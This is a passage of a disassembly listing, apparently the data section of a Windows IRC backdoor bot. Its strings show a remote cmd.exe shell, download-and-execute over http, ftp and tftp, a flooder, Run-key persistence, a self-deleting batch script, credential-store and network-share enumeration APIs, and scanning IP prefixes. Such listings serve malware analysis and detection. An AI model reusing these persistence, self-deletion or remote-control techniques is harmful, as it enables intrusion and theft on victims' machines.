77C1CF9Eh ; DATA XREF: sub_4117BAr dword_412130 dd 77C43790h ; DATA XREF: sub_4117B4r dword_412134 dd 77C43CB2h ; DATA XREF: sub_4117AEr dword_412138 dd 77C43DBCh ; DATA XREF: sub_4117A8r dword_41213C dd 77C41FA0h ; DATA XREF: sub_4114B8r dword_412140 dd 77C43150h ; DATA XREF: sub_4117A2r dword_412144 dd 77C33FDEh ; DATA XREF: sub_41179Cr dword_412148 dd 77C33FC1h ; DATA XREF: sub_411796r dword_41214C dd 77C3CE0Ch ; DATA XREF: sub_411790r dword_412150 dd 77C42D60h ; DATA XREF: sub_41178Ar dword_412154 dd 77C1C6F3h ; DATA XREF: sub_411784r dword_412158 dd 77C435C0h ; DATA XREF: sub_41177Er dword_41215C dd 77C3E5D9h ; DATA XREF: sub_411778r dword_412160 dd 77C28925h ; DATA XREF: sub_411772r dword_412164 dd 77C28933h ; DATA XREF: sub_41176Cr dword_412168 dd 77C3CCE7h ; DATA XREF: sub_411766r dword_41216C dd 77C37FEDh ; DATA XREF: sub_411760r dword_412170 dd 77C33EB0h ; DATA XREF: sub_41175Ar dword_412174 dd 77C4B940h ; DATA XREF: sub_4116A0r dword_412178 dd 77C4B120h ; DATA XREF: sub_411678r dword_41217C dd 77C37ADCh ; DATA XREF: sub_41157Cr dword_412180 dd 77C2AC58h ; DATA XREF: sub_411576r dword_412184 dd 77C438C0h ; DATA XREF: sub_411570r dword_412188 dd 77C3C93Ch ; DATA XREF: sub_41152Er dword_41218C dd 77C43AB0h ; DATA XREF: sub_411528r dword_412190 dd 77C3E8C0h ; DATA XREF: sub_411522r dword_412194 dd 77C1BE00h ; DATA XREF: sub_41151Cr dword_412198 dd 77C3E140h ; DATA XREF: sub_411516r dword_41219C dd 77C3DFB5h ; DATA XREF: sub_411510r dword_4121A0 dd 77C3BF06h ; DATA XREF: sub_411506r dword_4121A4 dd 77C3D8F6h ; DATA XREF: sub_411500r dword_4121A8 dd 77C3E4B9h ; DATA XREF: sub_4114FAr dword_4121AC dd 77C3E303h ; DATA XREF: sub_4114F4r dword_4121B0 dd 77C41FB0h ; DATA XREF: sub_4114EEr dword_4121B4 dd 77C43490h ; DATA XREF: sub_4114E8r dword_4121B8 dd 77C46553h ; DATA XREF: sub_4114E2r dword_4121BC dd 77C3C813h ; DATA XREF: sub_4114DCr dword_4121C0 dd 77C43900h ; DATA XREF: sub_4114D6r dword_4121C4 dd 77C42E10h ; DATA XREF: sub_4114D0r dword_4121C8 dd 77C2AA6Bh ; DATA XREF: sub_4114CAr dword_4121CC dd 77C2AC46h ; DATA XREF: sub_4114C4r dword_4121D0 dd 77C43710h ; DATA XREF: sub_4114BEr dword_4121D4 dd 77C421A2h ; DATA XREF: sub_411924r dd 0 dword_4121DC dd 7713BC68h ; DATA XREF: sub_4117FE+44r dd 0 dword_4121E4 dd 77428B97h ; DATA XREF: sub_4018D5+28r ; sub_402230+50Dr ... dd 0 dword_4121EC dd 77D4C96Ah ; DATA XREF: sub_404FEB+9Fr ; sub_40682C+50r ... dword_4121F0 dd 77D5C13Ah ; DATA XREF: sub_407A76+D6r ; sub_410999+4Br dword_4121F4 dd 77D4456Bh ; DATA XREF: sub_407A76+CFr dword_4121F8 dd 77D4BDCAh ; DATA XREF: sub_409835+7r dword_4121FC dd 77D4702Fh ; DATA XREF: sub_409843+5Ar dword_412200 dd 77D79D1Ch ; DATA XREF: sub_4101E6+3E9r align 8 dword_412208 dd 71AB3E5Dh ; DATA XREF: sub_403B44+8Br ; sub_403C04+B9r ... dword_41220C dd 71AB1B7Bh ; DATA XREF: sub_4117E8r dword_412210 dd 71AB8629h ; DATA XREF: sub_403D70+6r ; sub_40E707+110r ... dword_412214 dd 71AB1890h ; DATA XREF: sub_403767+12Dr ; sub_403A1B+81r ... dword_412218 dd 71AB3F8Dh ; DATA XREF: sub_403644+B8r ; sub_403EA9+5Dr ... dword_41221C dd 71AB3ECEh ; DATA XREF: sub_403644+C5r ; sub_40DE9A+AAr ... dword_412220 dd 71AB1AF4h ; DATA XREF: sub_403D9D+Er ; sub_407A76+FB7r ... dword_412224 dd 71ABF628h ; DATA XREF: sub_4034DE+1Er ; sub_40357F+1Er dword_412228 dd 71AB155Ah ; DATA XREF: sub_40344B+1Ar ; sub_40346D+Fr dword_41222C dd 71AB3C22h ; DATA XREF: sub_403366+7r ; sub_403644+83r ... dword_412230 dd 71AB401Ch ; DATA XREF: sub_402C11+4Fr ; sub_40544F+154r ... dword_412234 dd 71ABD755h ; DATA XREF: sub_402C11+86r ; sub_4072FC+1A4r dword_412238 dd 71AB1740h ; DATA XREF: sub_402C11:loc_402CD9r ; sub_403B44+96r ... dword_41223C dd 71AB868Dh ; DATA XREF: sub_403767+89r ; sub_403767+1A3r dword_412240 dd 71AB1A6Dh ; DATA XREF: sub_403D92+4r ; sub_407A76+FBEr ... dword_412244 dd 71AB350Dh ; DATA XREF: sub_402A12+38r ; sub_402A12+12Er ... dword_412248 dd 71AB1746h ; DATA XREF: sub_402A12+91r ; sub_402A12+168r ... dword_41224C dd 71AB2BBFh ; DATA XREF: sub_402A12+E8r ; sub_403EA9+B6r ... dword_412250 dd 71AB157Eh ; DATA XREF: sub_401B81+7Dr ; sub_40348C+1Er ... dword_412254 dd 71AB12F8h ; DATA XREF: sub_401B81+163r ; sub_403EA9+A1r ... dword_412258 dd 71AB5690h ; DATA XREF: sub_401985+CFr ; sub_403DB2+1Ar ... dword_41225C dd 71AB12A7h ; DATA XREF: sub_401985+FEr ; sub_401B81+16Ar dword_412260 dd 71AB1ED3h ; DATA XREF: sub_403EA9+59Fr ; sub_40DE9A+121r dword_412264 dd 71AB1836h ; DATA XREF: sub_4050D1+202r ; sub_4052DF+DFr ... dword_412268 dd 71AB1444h ; DATA XREF: sub_40DE9A+19Ar dword_41226C dd 71AB14DCh ; DATA XREF: sub_410C55+D8r dword_412270 dd 71AB32CAh ; DATA XREF: sub_410C55+6Br dword_412274 dd 71AB41DAh ; DATA XREF: kkrunchy:0041138Er dword_412278 dd 71AB5DE2h ; DATA XREF: sub_403644+D3r align 10h flt_412280 dd 1.0e-3 ; DATA XREF: sub_401985+18Er ; sub_401985+1B0r ... flt_412284 dd 9.765625e-4 ; DATA XREF: sub_40656A+1A6r dword_412288 dd 0FFFFFFFFh, 406C2Dh, 406C43h, 0 ; DATA XREF: sub_406BBC+5o dword_412298 dd 0FFFFFFFFh, 406D26h, 406D3Eh, 0 ; DATA XREF: sub_406CB2+5o dword_4122A8 dd 0FFFFFFFFh, 411474h, 41148Ah, 0 ; DATA XREF: kkrunchy:004111EDo dd offset loc_411440 dd offset loc_411456 dd offset dword_412300 off_4122C4 dd offset sub_4118B5 ; DATA XREF: sub_411883+12o ; kkrunchy:004118EAo ... dd offset dword_412348 off_4122CC dd offset sub_411936 ; DATA XREF: kkrunchy:off_419180o ; kkrunchy:off_4191A0o off_4122D0 dd offset off_419180 ; DATA XREF: kkrunchy:004122E8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4122D0 dword_4122EC dd 3 dup(0) ; DATA XREF: kkrunchy:00412310o dd 1, 4122E8h dword_412300 dd 3 dup(0) ; DATA XREF: kkrunchy:004122C0o dd offset off_419180 dd offset dword_4122EC+4 align 8 off_412318 dd offset off_4191A0 ; DATA XREF: kkrunchy:00412330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_412318 dd 0 db 0 ; DATA XREF: kkrunchy:00412358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 412330h dword_412348 dd 3 dup(0) ; DATA XREF: kkrunchy:004122C8o dd offset off_4191A0 dd offset unk_412338 align 10h dword_412360 dd 19930520h, 4, 412380h, 5 dup(0) ; DATA XREF: kkrunchy:loc_411980o dd 0FFFFFFFFh, 411960h, 0 dd offset loc_411968 dd 1, 411970h, 2, 411978h, 0 dd offset off_419180 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 4118D1h, 0 dword_4123C0 dd 1, 4123A0h ; DATA XREF: kkrunchy:004123D4o dword_4123C8 dd 0 ; DATA XREF: sub_41185F+19o dd offset sub_4118FE dd 0 dd offset dword_4123C0 dd 30Ah dup(0) off_413000 dd offset dword_413098 ; DATA XREF: sub_401000+Cr ; sub_401000+1Co dd offset dword_41305C dd offset dword_413040 dd offset dword_413014 dd 0 dword_413014 dd 0AFCB978Dh, 0B4E2AB90h, 0E38DB8CCh, 8DEAD4EAh, 94EABAB0h ; DATA XREF: kkrunchy:0041300Co dd 83DBB5B9h, 0E89089E5h, 8EC6D2F0h, 9AEB8282h, 2 dup(0) dword_413040 dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h, 0B4C4BAB8h ; DATA XREF: kkrunchy:00413008o dd 0A399h, 0 dword_41305C dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h, 0ACC4BAB8h ; DATA XREF: kkrunchy:00413004o dd 98DA88BCh, 0C5A3B9CEh, 87DBD2F1h, 9ECEBAB0h, 98D795A7h dd 0F3AD96D7h, 90CCF3EAh, 9EFBA7A8h, 0A6h, 0 dword_413098 dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h, 0ACC4BAB8h ; DATA XREF: kkrunchy:off_413000o dd 98DA88BCh, 0C5A3B9CEh, 87DBD2F1h, 9ECEBAB0h, 98D795A7h dd 0F3AD96D7h, 0EAh, 0 dword_4130CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: sub_4011C4+2CAo dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4130F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: sub_4011C4+2B1o dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41311C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: sub_4011C4+215o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_413144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: sub_4011C4+46o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_413174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4014B0+6Co dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4014B0+65o aListing db 'Listing',0 ; DATA XREF: sub_4014B0+5Bo dword_4131A4 dd 303h ; DATA XREF: sub_401571+91o aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401621+25Fo aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401621+24Co align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401621+4Ao aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_4018D5+9Co align 4 asc_413214 db 0Dh,0Ah,0 ; DATA XREF: sub_4018D5+84o ; sub_402EFD+148o ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_4018D5+6Bo align 4 aOpen db 'open',0 ; DATA XREF: sub_4018D5+22o ; sub_402230+507o ... align 4 dword_413234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: sub_401985+1C7o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_413280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: sub_401985+BCo dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4132AC dd 6277h ; DATA XREF: sub_401985+3Co ; sub_402018+12Do ... dword_4132B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: sub_401B81+2D0o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4132F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: sub_401B81+250o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_413320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: sub_401B81+1C7o dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_413348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: sub_401B81+17Eo dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_401B81+147o align 4 aRb db 'rb',0 ; DATA XREF: sub_401B81+EBo ; sub_404DAD+62o ... align 4 dword_41337C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_401EA8+E2o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4133A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_401FA3+5Do dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402018+D7o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402018+AFo align 4 asc_4133EC db 0Dh,0Ah ; DATA XREF: sub_402018+92o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402018+40o ; sub_4063E4+BAo db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 unk_413414 db 2Dh ; - ; DATA XREF: sub_402230+573o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 10h dword_413440 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: sub_402230+549o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_413470 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: sub_402230+533o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_413498 dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: sub_402230+4C9o dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh dword_4134E0 dd 7865202Ch, 74756365h, 676E69h ; DATA XREF: sub_402230+476o dword_4134EC dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402230+46Co unk_4134F8 db 2Dh ; - ; DATA XREF: sub_402230+34Do db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_413524: ; DATA XREF: sub_402230+332o unicode 0, </>,0 asc_413528: ; DATA XREF: sub_402230+2D0o ; sub_4101E6+334o unicode 0, <:>,0 a69 db '69',0 ; DATA XREF: sub_402230+280o align 10h aTftp db 'tftp://',0 ; DATA XREF: sub_402230+262o aAnonymous db 'anonymous',0 ; DATA XREF: sub_402230+22Fo align 4 a21 db '21',0 ; DATA XREF: sub_402230+20Fo align 4 aFtp db 'ftp://',0 ; DATA XREF: sub_402230+1F5o align 10h a80 db '80',0 ; DATA XREF: sub_402230+1BFo ; sub_4033F9+28o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_402230+1A5o dword_41355C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: sub_402230+10Do dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41358C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: sub_402230+F4o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh dword_4135C4 dd 656C6966h, 2F2F3Ah ; DATA XREF: sub_402230+ABo dword_4135CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: sub_402230+98o dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4135FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_4027CB+97o dd 206F7420h, 2343003h, 2037325h, 0 dword_413620 dd 6578652Eh, 0 ; DATA XREF: sub_4027CB+3Fo ; sub_40E496+44o aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40287C:loc_402A00o ; sub_407A76+C17o align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40287C+17Do ; sub_407A76:loc_408D31o align 4 dword_41364C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40287C+104o aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: sub_40287C+B3o align 4 aRestarting db 'Restarting',0 ; DATA XREF: sub_40287C+ACo align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40287C:loc_40291Fo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40287C:loc_402918o align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40287C+95o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: sub_40287C:loc_4028EAo align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40287C:loc_4028E3o align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40287C:loc_4028DCo align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40287C+59o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40287C+34o aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_402D7B+172o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_402D7B:loc_402EE2o aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_402D7B+15Ao align 4 aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_402D7B:loc_402ECAo aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_402D7B+108o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_402D7B+FBo aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_402D7B+F3o aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_402D7B:loc_402E65o align 4 aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_402D7B+D8o align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_402D7B+CBo align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_402D7B+BEo aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_402D7B+B6o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_402D7B:loc_402E24o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_402D7B+97o aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_402D7B+8Ao align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_402D7B+7Do align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_402D7B+70o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_402D7B+63o align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_402D7B+56o aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_402D7B+49o align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_402D7B+3Co align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_402D7B+34o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_402D7B+27o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_402D7B+19o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_402D7B+8o align 4 aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_402EFD+127o dword_4139C0 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: sub_402EFD+6Bo dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4139F4 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_4030A7+5Eo dd 30032074h, 73250234h, 203h dword_413A14 dd 333131h ; DATA XREF: sub_4030A7:loc_4030BCo dword_413A18 dd 0D5EFB9A9h, 99D184E3h, 0E391E4DCh, 0F0h, 0 ; DATA XREF: sub_4033F9+Ao dword_413A2C dd 73255C5Ch, 4350495Ch, 24h ; DATA XREF: sub_40311D+18o dword_413A38 dd 2E3031h ; DATA XREF: sub_40324A+48o dword_413A3C dd 2E323931h, 2E383631h, 0 ; DATA XREF: sub_40324A+34o dword_413A48 dd 2E323731h, 0 ; DATA XREF: sub_40324A+20o dword_413A50 dd 2E373231h, 0 ; DATA XREF: sub_40324A+7o dword_413A58 dd 252E7525h, 75252E75h, 75252Eh ; DATA XREF: sub_409918+172o ; sub_40D6E0+1DFo dword_413A64 dd 313A3Ah ; DATA XREF: sub_40338B+3Co dword_413A68 dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_403EA9+48Fo aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_403EA9+204o ; sub_403EA9+2A3o ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_403EA9+198o ; sub_403EA9+23Fo ... align 4 aU_0 db '%u',0 ; DATA XREF: sub_403EA9+16Ao ; sub_40D6E0+201o align 4 aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_4044AA:loc_40455Eo align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_4045B7+47o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_4045B7+3Ao align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_4045B7+2Do align 4 aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_4045B7+25o align 4 aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_4045B7+Bo align 4 aSystem db 'system',0 ; DATA XREF: sub_404639+C5o ; kkrunchy:00416CF0o ... align 4 dword_413B0C dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: sub_40485F+7Eo dd 732520h dword_413B24 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: sub_40485F+48o dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h dword_413B4C dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_40491E+27o dword_413B5C dd 58323025h, 0 ; DATA XREF: sub_404ACF+1C4o ; sub_40FD22+Do dword_413B64 dd 58383025h, 0 ; DATA XREF: sub_404ACF+181o ; sub_407A76+107Co dword_413B6C dd 7325h ; DATA XREF: sub_404ACF+15Fo ; sub_405FF3+2BAo ... aHkus db 'HKUS',0 ; DATA XREF: sub_404ACF+79o align 4 aHklm db 'HKLM',0 ; DATA XREF: sub_404ACF+5Do align 10h aHkcu db 'HKCU',0 ; DATA XREF: sub_404ACF+41o align 4 aHkcr db 'HKCR',0 ; DATA XREF: sub_404ACF+25o align 10h off_413B90 dd offset dword_413DD8 ; DATA XREF: sub_4050D1+2Er ; sub_4050D1+3Co ... off_413B94 dd offset dword_413DB0 ; DATA XREF: sub_4050D1+156r ; sub_4050D1+167r ... dd offset dword_413DA0 dd offset dword_413DB0 dd offset dword_413D90 dd offset dword_413D6C dd offset dword_413D5C dd offset dword_413D3C dd offset dword_413D28 dd offset dword_413D3C dd offset dword_413D14 dd offset dword_413CFC dd offset dword_413CEC dd offset dword_413CD8 dd offset dword_413CC4 dd offset dword_413CA4 dd offset dword_413C90 dd offset dword_413C74 dd offset dword_413C64 dd offset dword_413C74 dd offset dword_413C54 dd offset dword_413C2C dd offset dword_413C18 dd offset dword_413BF8 dd 2 dup(0) dword_413BF8 dd 89FBA793h, 91D195BAh, 0E8B6EACDh, 8CDBC5F0h, 0BEB8BABBh ; DATA XREF: kkrunchy:00413BECo dd 98D296ADh, 8DAFCBh, 0 dword_413C18 dd 8BE0ABB7h, 92CC89B9h, 0E387AF97h, 2 dup(0) ; DATA XREF: kkrunchy:00413BE8o dword_413C2C dd 97E8BE9Fh, 83DF85BCh, 0A691A5D0h, 87D0C1C8h, 9ADFEEACh ; DATA XREF: kkrunchy:00413BE4o dd 96C983A1h, 0E3ACEAC0h, 81C0D6F6h, 0BBh, 0 dword_413C54 dd 88FFA2BFh, 92C683FBh, 2 dup(0) ; DATA XREF: kkrunchy:00413BE0o dword_413C64 dd 94F7BEADh, 0D9C8959Ch, 9AB2DCh, 0 ; DATA XREF: kkrunchy:00413BD8o dword_413C74 dd 94F7BE8Dh, 0D7CC83B9h, 0D59DBFEAh, 87DDD3FDh, 8BD9EEB3h ; DATA XREF: kkrunchy:00413BD4o ; kkrunchy:00413BDCo dd 0A5h, 0 dword_413C90 dd 94F7BEADh, 94C895B9h, 0E387AF97h, 2 dup(0) ; DATA XREF: kkrunchy:00413BD0o dword_413CA4 dd 9FF6A789h, 0D7CD91BAh, 0F18BAFF7h, 0C2C2D2EBh, 9EEAA798h ; DATA XREF: kkrunchy:00413BCCo dd 9BD287A2h, 2 dup(0) dword_413CC4 dd 9EEAA7B8h, 9BD287A2h, 0E387AF97h, 2 dup(0) ; DATA XREF: kkrunchy:00413BC8o dword_413CD8 dd 9AF6A789h, 0B69E96B8h, 0F291AFDEh, 2 dup(0) ; DATA XREF: kkrunchy:00413BC4o dword_413CEC dd 9AF6A7A9h, 929096B8h, 0AFC1h, 0 ; DATA XREF: kkrunchy:00413BC0o dword_413CFC dd 9FF6A789h, 0D7CD91BAh, 0EA8FB2FCh, 90CCD2EBh, 2 dup(0) ; DATA XREF: kkrunchy:00413BBCo dword_413D14 dd 97E8B6BBh, 85DB94BAh, 0E387AF97h, 2 dup(0) ; DATA XREF: kkrunchy:00413BB8o dword_413D28 dd 0B2F6A7A9h, 99D181BAh, 0E387AF97h, 2 dup(0) ; DATA XREF: kkrunchy:00413BB0o dword_413D3C dd 9FF6A789h, 0D7CD91BAh, 0E998A5F5h, 92E880EAh, 98F1A2AEh ; DATA XREF: kkrunchy:00413BACo ; kkrunchy:00413BB4o dd 98D792B4h, 0D7h, 0 dword_413D5C dd 94FFA1B2h, 8FDBC8BBh, 0DCh, 0 ; DATA XREF: kkrunchy:00413BA8o dword_413D6C dd 9EF1A29Dh, 0A49E92BBh, 0E389B8DCh, 97FB80F6h, 96F1BAB0h ; DATA XREF: kkrunchy:00413BA4o dd 85EEC6B0h, 0F59AA9D6h, 0F7h, 0 dword_413D90 dd 88EABDBDh, 92C683FBh, 2 dup(0) ; DATA XREF: kkrunchy:00413BA0o dword_413DA0 dd 88F9BD97h, 8FDBC8A6h, 0DCh, 0 ; DATA XREF: kkrunchy:00413B98o dword_413DB0 dd 9AFBA192h, 92EDC6B9h, 0EF8DBFDAh, 0A389D9F0h, 94F0BAABh ; DATA XREF: kkrunchy:off_413B94o ; kkrunchy:00413B9Co dd 8ECA8FA7h, 0F49A9999h, 87CAC9F2h, 2 dup(0) dword_413DD8 dd 9AEBBDB2h, 8FDBC8A6h, 0DCh, 0 ; DATA XREF: kkrunchy:off_413B90o dword_413DE8 dd 293Ah ; DATA XREF: sub_404D00+8Bo dword_413DEC dd 5Ch ; DATA XREF: sub_404D00+22o ; sub_404DAD+21o ... dword_413DF0 dd 7078655Ch, 65726F6Ch, 78652E72h, 65h ; DATA XREF: sub_404E31+24o aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_404EDC+1Ao align 10h a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_404FEB+99o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_404FEB+42o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_4050D1+132o ; sub_4052DF+AAo align 4 aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_4052DF+D3o ; sub_4052DF+151o align 10h dword_413EC0 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: sub_40544F+DDo dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h dword_413EF4 dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40544F+C2o dword_413F00 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_4056AC+68o dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_413F34 dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4057ED+85o dd 34300320h, 3732502h, 2 dword_413F54 dd 20h ; DATA XREF: 